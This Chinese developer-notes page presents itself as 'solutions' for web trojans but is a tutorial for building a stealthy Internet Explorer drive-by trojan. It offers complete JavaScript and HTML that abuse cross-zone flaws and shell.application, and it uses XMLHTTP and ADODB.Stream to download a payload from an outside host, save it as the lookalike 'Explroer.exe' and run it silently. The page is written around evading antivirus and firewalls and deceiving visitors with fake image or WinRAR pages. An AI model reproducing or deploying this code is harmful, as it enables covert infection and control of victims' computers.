热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

网页木马的解决方案

既然要打造完美的IE网页木马,首先就必须给我们的完美制定一个标准,我个人认为一个完美的IE网页木
既然要打造完美的IE网页木马,首先就必须给我们的完美制定一个标准,我个人认为一个完美的IE网页木马至少应具备下列四项特征:
  一:可以躲过杀毒软件的追杀;
  二:可以避开网络防火墙的报警;
  三:能够适用于多数的WINDOWS操作系统(主要包括WIN98、WINME、WIN2000、WINXP、WIN2003)中的多数IE版本(主要包括IE5.0、IE5.5、IE6.0),最好能打倒SP补丁;
  四:让浏览者不容易发觉IE变化,即可以悄无声息,从而可以长久不被发现。
  (注意以上四点只是指网页本身而言,但不包括你的木马程序,也就是说我们的网页木马只是负责运行指定的木马程序,至于你的木马程序的好坏只有你自己去选择啦!别找我要,我不会写的哦!)
  满足以上四点我想才可以让你的马儿更青春更长久,跑的更欢更快……
  看了上面的几点你是不是心动拉?别急,我们还是先侃侃现有的各种IE网页木马的不足吧!
  第一种:利用古老的MIME漏洞的IE网页木马
  这种木马现在还在流行,但因为此漏洞太过古老且适用的IE版本较少,而当时影响又太大,补丁差不多都补上啦,因此这种木马的种植成功率比较低。
  第二种:利用com.ms.activeX.ActiveXComponent漏洞,结合WSH及FSO控件的IE网页木马
  虽然com.ms.activeX.ActiveXComponent漏洞广泛存在于多数IE版本中,是一个比较好的漏洞,利用价值非常高,但却因为它结合了流行的病毒调用的WSH及FSO控件,使其虽说可以避开网络防火墙的报警,可逃不脱杀毒软件的追捕(如诺顿)。
  第三种:利用OBJECT对象类型确认漏洞(Object Data Remote)并结合WSH及FSO控件的IE网页木马(典型的代表有动鲨网页木马生成器)
  此种木马最大的优点是适应的IE版本多,且漏洞较新,但却有如下不足:
  1、因为此漏洞要调用Mshta.exe来访问网络下载木马程序,所以会引起防火墙报警(如天网防火墙);
  2、如果此IE网页木马又利用了WSH及FSO控件,同样逃不脱杀毒软件的追捕(如诺顿),而
动鲨网页木马又恰恰使用了WSH及FSO控件,叹口气……可惜呀……?
  3、再有就是这个漏洞需要网页服务器支持动态网页如ASP、JSP、CGI等,这就影响了它的发挥,毕竟现在的免费稳定的动态网页空间是少之又少;虽说此漏洞也可利用邮件MIME的形式(见我在安全焦点上发表的文章:《由错误MIME漏洞的利用想到的......---IE Object Data 数据远程执行漏洞的利用》http://www.xfocus.net/articles/200309/607.html)来利用,但经测试发现对IE6.0不起作用。
  看到上面的分析你是不是有了这种感觉:千军易得,一将难求,马儿成群,奈何千里马难寻!别急,下面让我带这大家一起打造我心中的完美IE网页木马。
  首先要躲过杀毒软件的追杀,我们就不能利用WSH和FSO控件,因为只要利用了WSH和FSO控件就一定逃不脱“诺顿”的追杀,这可叫我们该如何是好?!别急,经过我的努力工作(说真的我也是在研究ASP木马时偶然发现的灵感)终于我有找到了一个可以用的控件,那就是shell.application,并且它可是经过了安全认证的,可以在“我的电脑”域中的网页中畅通无阻的执行,比WSH和FSO更容易得到执行权限(利用跨域漏洞即可),请看下面Javascript代码:
<SCRIPT LANGUAGE="Javascript" type="text/Javascript">
var shell=new ActiveXObject("shell.application");
shell.namespace("c:\\Windows\\").items().item("Notepad.exe").invokeverb();
</SCRIPT>
保存为test.htm后打开看是否自动打开了记事本程序,而且不会象WSH和FSO那样出现是否允许运行的提示框,是不是有点兴趣啦?现在我们已可以运行所有已知路径的程序,但我们要求运行我们自己的木马程序,所以还要求把我们的木马程序下载到浏览者的电脑上并找出它的位置。我们一个个来解决:
  1、下载木马程序到浏览者的电脑中
  这一点可以有很多解决方法,比如我以前提到的WINDOWS帮助文件访问协议下载任意文件漏洞(its:),不过这次我们不用它,再教大家两个更好的下载方法:
  例一:利用SCRIPT标签,代码如下:
<SCRIPT LANGUAGE="icyfoxlovelace" src="http://www.godog.y365.com/wodemuma/icyfox.bat"></SCRIPT>
注意此处的LANGUAGE属性可以为除Javascript、Vbscript、JScript以外的字符串,也可以是汉字,至于src的属性当然是你的木马程序的地址啦!因为现在免费空间出于安全考虑,多数不允许上传exe文件,我们可以变通一下把扩展名exe改为bat或pif、scr、com,同样可以运行。
  例二:利用LINK标签,代码如下:
<LINK href="http://www.godog.y365.com/wodemuma/icyfox.bat" rel=stylesheet type=text/css>
把代码放在标签<HEAD></HEAD>中间,href属性值为木马程序的地址。
上面两个是我所知的最好的两种下载木马程序的方法,它们下载后的程序都保存在在IE临时目录Temporary Internet Files目录下的子目录中。
2、找出已下载到浏览者的脑中的木马程序路径
  我们可以利用shell.application控件的一些属性和方法,并结合js的错误处理try{}catch(e){}finally{}语句,进行递归调用来找到木马程序的路径,代码如下:

function icyfoxlovelace(){
//得到WINDOWS系统目录和系统盘
url=document.location.href;
xtmu=url.substring(6,url.indexOf(’\\’,9)+1);
xtp=url.substr(6,3);

var shell=new ActiveXObject("shell.application");
var runbz=1;

//此处设置木马程序的大小,以字节为单位
//请把198201改为你的木马程序的实际大小
var exeSize=198201;

//设置木马程序名及扩展名(exe,com,bat,pif,scr),用于判断是否是所下载的木马程序
//请把下面两行中的icyfox改为你的木马程序名,bat改为你的木马程序的扩展名
var a=/icyfox\[\d*\]\.bat/gi;
a.compile("icyfox\\[\\d*\\]\\.bat","gi");

var b=/[A-Za-z]:\\/gi;
b.compile("[A-Za-z]:\\\\","gi");//正则表达式,用于判断是否是盘的根目录

//下面的代码查找并运行木马程序
wjj(xtmu+"Temporary Internet Files\\");//Content.IE5\if(runbz)wjj(xtp+"Documents and Settings\\");
if(runbz)yp();

//在所有硬盘分区下查找并运行木马程序
function yp(){
try{
var c=new Enumerator(shell.namespace("c:\\").ParentFolder.Items());
for (;!c.atEnd();c.moveNext()){
if(runbz){if(b.test(c.item().path))wjj(c.item().path);}
else break;
}
}catch(e){}
}

//利用递归在指定目录(包括子目录)下查找并运行木马程序
function wjj(b){
try{
var c=new Enumerator(shell.namespace(b).Items());
for (;!c.atEnd();c.moveNext()){
if(runbz&&c.item().Size==exeSize&&a.test(c.item().path)){
var f=c.item().path;
var v=f.lastIndexOf(’\\’)+1;
try{
shell.namespace(f.substring(0,v)).items().item(f.substr(v)).invokeverb();//运行木马程序
runbz=0;
break;
}catch(e){}
}
if(!c.item().Size)wjj(c.item().path+"\\");//如果是子目录则递归调用
}
}catch(e){}
}


}

icyfoxlovelace();

请把以上代码保存为icyfox.js。
接下来我们就要利用一个小小跨域执行漏洞,来获得“我的电脑”域的网页权限,大家以前是不是和我一样觉得这种漏洞仅仅只能用来进行跨站脚本攻击,得到COOKIE之类的东东呢?这次它终于可以露脸啦!代码如下:

<HTML>
<HEAD>
<META http-equiv=Content-Type content="text/html; charset=gb2312">
<TITLE>冰狐浪子网络技术实验室的完美IE网页木马</TITLE>
</HEAD>
<BODY οncοntextmenu="return false" onselectstart="return false" scroll="no" topmargin="0" leftmargin="0">
<SCRIPT LANGUAGE="icyfoxlovelace" src="http://www.godog.y365.com/wodemuma/icyfox.bat"></SCRIPT>
<SCRIPT LANGUAGE="Javascript">
//此处设置上面icyfox.js文件的网络地址
//请把http://www.godog.y365.com/wodemuma/icyfox.js改为你的icyfox.js文件实际上传地址
jsurl="http://www.godog.y365.com/wodemuma/icyfox.js".replace(/\//g,’//’);
WIE=navigator.appVersion;
if(WIE.indexOf("MSIE 5.0")>-1){
/*IE 5.0利用iframe标签,src属性设为icyfox://则会使此标签具备“我的电脑”域的权限,原因是因为icyfox://是不存在的协议,所以会IE会利用res://协议打开SHDOCLC.DLL中的语法错误页syntax.htm,而且SHDOCLC.DLL又位于系统目录中,为在icyfox.js中得到WINDOWS系统目录和系统盘提供数据;*/
document.write("<iframe style=’display:none;’ name=’icyfoxlovelace’ src=’icyfox://’><\/iframe>");
setTimeout("muma0()",1000);
}
else {
/*IE5.5、IE6.0则利用_search漏洞,把打开的地址设为icyfox://,从而使_search搜索框具备“我的电脑”域的权限,因为在IE6.0中无法用上面的iframe漏洞,IE5.5应该可以用,我没有测试。这样做的结果会打开搜索栏,有点遗憾!*/
window.open("icyfox://","_search");
setTimeout("muma1()",1000);
}

//下面利用file:Javascript:协议漏洞在已是我的电脑”域的权限的“icyfox://”中插入icyfox.js脚本并运行
function muma0(){
window.open("file:Javascript:document.all.tags(’SCRIPT’)[0].src=’"+jsurl+"’;eval();","icyfoxlovelace");
}

function muma1(){
window.open("file:Javascript:document.all.tags(’SCRIPT’)[0].src=’"+jsurl+"’;eval();","_search");}
</SCRIPT>
</BODY>
<NOSCRIPT><iframe style="display:none;" src=’*.*’></iframe></NOSCRIPT>
</HTML>

把上面的代码保存为icyfox.htm,如果你愿意可以把扩展名改为jpg并在网页中加入一个精美的图片背景,来做一个图片木马,甚至你可以改为exe,来冒充一个好的程序的下载地址,并在网页的<HEAD></HEAD>中加入标签<meta http-equiv="refresh" content="5;url=’http://www.godog.y365.com/winrar.exe’">来定时转到另一个真正的程序下载地址,从而更好的欺骗别人。

  看到上面的东东是不是让你有了马上去实验的冲动,别急,如果你觉得win98没必要控制的话,还有更好的木马等着你,不知大家是否用过win2000、winxp等系统中默认安装的ADODB.Stream及Microsoft.XMLHTTP控件?它们可是和shell.application控件一样是经过了安全认证的,可以在“我的电脑”域中的网页中畅通无阻执行的好东西呀!请看下面的代码:

function icyfox(){
//设置下载后保存在系统目录下的木马程序名,我设的是不是很象Explorer.exe呀?呵呵
var name="Explroer.exe";
//设置你要下载的木马程序的地址(此处你可以把扩展名任意改,甚至没有扩展名也可以的)
//可以更好的躲过免费主页空间的上传限制
var url="http://www.godog.y365.com/wodemuma/icyfox.bat";
try{
var folder=document.location.href;
folder=folder.substring(6,folder.indexOf(’\\’,9)+1)+name;
var xml=new ActiveXObject("Microsoft.XMLHTTP");
xml.open("GET",url,false);
xml.send();
if(xml.status==200){
var ado=new ActiveXObject("ADODB.Stream");
ado.Type=1;
ado.Open();
ado.write(xml.responseBody);
ado.SaveToFile(folder,2);
ado.Close();
ado=null;
}
xml=null;
document.body.insertAdjacentHTML(’AfterBegin’,’<OBJECT style="display:none;" TYPE="application/x-oleobject" CODEBASE="’+folder+’"></OBJECT>’);
}
catch(e){}

}

icyfox();

把上面的的代码保存为icyfox.js替换上面保存的icyfox.js文件,同样利用上面的icyfox.htm来注入到“我的电脑”域中,呵呵你就偷这乐吧!
  最后还请大家发挥以下DIY的能力把上面两种代码合二为一,我相信一个现阶段最最完美的IE网页木马就会在你手中诞生啦!是不是神不知鬼不觉?
提示代码如下:
try{new ActiveXObject("ADODB.Stream");icyfox();}catch(e){icyfoxlovelace();}



推荐阅读
  • 知识图谱——机器大脑中的知识库
    本文介绍了知识图谱在机器大脑中的应用,以及搜索引擎在知识图谱方面的发展。以谷歌知识图谱为例,说明了知识图谱的智能化特点。通过搜索引擎用户可以获取更加智能化的答案,如搜索关键词"Marie Curie",会得到居里夫人的详细信息以及与之相关的历史人物。知识图谱的出现引起了搜索引擎行业的变革,不仅美国的微软必应,中国的百度、搜狗等搜索引擎公司也纷纷推出了自己的知识图谱。 ... [详细]
  • Windows下配置PHP5.6的方法及注意事项
    本文介绍了在Windows系统下配置PHP5.6的步骤及注意事项,包括下载PHP5.6、解压并配置IIS、添加模块映射、测试等。同时提供了一些常见问题的解决方法,如下载缺失的msvcr110.dll文件等。通过本文的指导,读者可以轻松地在Windows系统下配置PHP5.6,并解决一些常见的配置问题。 ... [详细]
  • 本文介绍了在SpringBoot中集成thymeleaf前端模版的配置步骤,包括在application.properties配置文件中添加thymeleaf的配置信息,引入thymeleaf的jar包,以及创建PageController并添加index方法。 ... [详细]
  • Nginx使用AWStats日志分析的步骤及注意事项
    本文介绍了在Centos7操作系统上使用Nginx和AWStats进行日志分析的步骤和注意事项。通过AWStats可以统计网站的访问量、IP地址、操作系统、浏览器等信息,并提供精确到每月、每日、每小时的数据。在部署AWStats之前需要确认服务器上已经安装了Perl环境,并进行DNS解析。 ... [详细]
  • GetWindowLong函数
    今天在看一个代码里头写了GetWindowLong(hwnd,0),我当时就有点费解,靠,上网搜索函数原型说明,死活找不到第 ... [详细]
  • 基于layUI的图片上传前预览功能的2种实现方式
    本文介绍了基于layUI的图片上传前预览功能的两种实现方式:一种是使用blob+FileReader,另一种是使用layUI自带的参数。通过选择文件后点击文件名,在页面中间弹窗内预览图片。其中,layUI自带的参数实现了图片预览功能。该功能依赖于layUI的上传模块,并使用了blob和FileReader来读取本地文件并获取图像的base64编码。点击文件名时会执行See()函数。摘要长度为169字。 ... [详细]
  • 本文介绍了数据库的存储结构及其重要性,强调了关系数据库范例中将逻辑存储与物理存储分开的必要性。通过逻辑结构和物理结构的分离,可以实现对物理存储的重新组织和数据库的迁移,而应用程序不会察觉到任何更改。文章还展示了Oracle数据库的逻辑结构和物理结构,并介绍了表空间的概念和作用。 ... [详细]
  • HDU 2372 El Dorado(DP)的最长上升子序列长度求解方法
    本文介绍了解决HDU 2372 El Dorado问题的一种动态规划方法,通过循环k的方式求解最长上升子序列的长度。具体实现过程包括初始化dp数组、读取数列、计算最长上升子序列长度等步骤。 ... [详细]
  • 本文讨论了在Windows 8上安装gvim中插件时出现的错误加载问题。作者将EasyMotion插件放在了正确的位置,但加载时却出现了错误。作者提供了下载链接和之前放置插件的位置,并列出了出现的错误信息。 ... [详细]
  • CSS3选择器的使用方法详解,提高Web开发效率和精准度
    本文详细介绍了CSS3新增的选择器方法,包括属性选择器的使用。通过CSS3选择器,可以提高Web开发的效率和精准度,使得查找元素更加方便和快捷。同时,本文还对属性选择器的各种用法进行了详细解释,并给出了相应的代码示例。通过学习本文,读者可以更好地掌握CSS3选择器的使用方法,提升自己的Web开发能力。 ... [详细]
  • 本文介绍了C#中数据集DataSet对象的使用及相关方法详解,包括DataSet对象的概述、与数据关系对象的互联、Rows集合和Columns集合的组成,以及DataSet对象常用的方法之一——Merge方法的使用。通过本文的阅读,读者可以了解到DataSet对象在C#中的重要性和使用方法。 ... [详细]
  • 本文介绍了OC学习笔记中的@property和@synthesize,包括属性的定义和合成的使用方法。通过示例代码详细讲解了@property和@synthesize的作用和用法。 ... [详细]
  • Mac OS 升级到11.2.2 Eclipse打不开了,报错Failed to create the Java Virtual Machine
    本文介绍了在Mac OS升级到11.2.2版本后,使用Eclipse打开时出现报错Failed to create the Java Virtual Machine的问题,并提供了解决方法。 ... [详细]
  • 在说Hibernate映射前,我们先来了解下对象关系映射ORM。ORM的实现思想就是将关系数据库中表的数据映射成对象,以对象的形式展现。这样开发人员就可以把对数据库的操作转化为对 ... [详细]
  • 【Windows】实现微信双开或多开的方法及步骤详解
    本文介绍了在Windows系统下实现微信双开或多开的方法,通过安装微信电脑版、复制微信程序启动路径、修改文本文件为bat文件等步骤,实现同时登录两个或多个微信的效果。相比于使用虚拟机的方法,本方法更简单易行,适用于任何电脑,并且不会消耗过多系统资源。详细步骤和原理解释请参考本文内容。 ... [详细]
author-avatar
麻廿_965
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有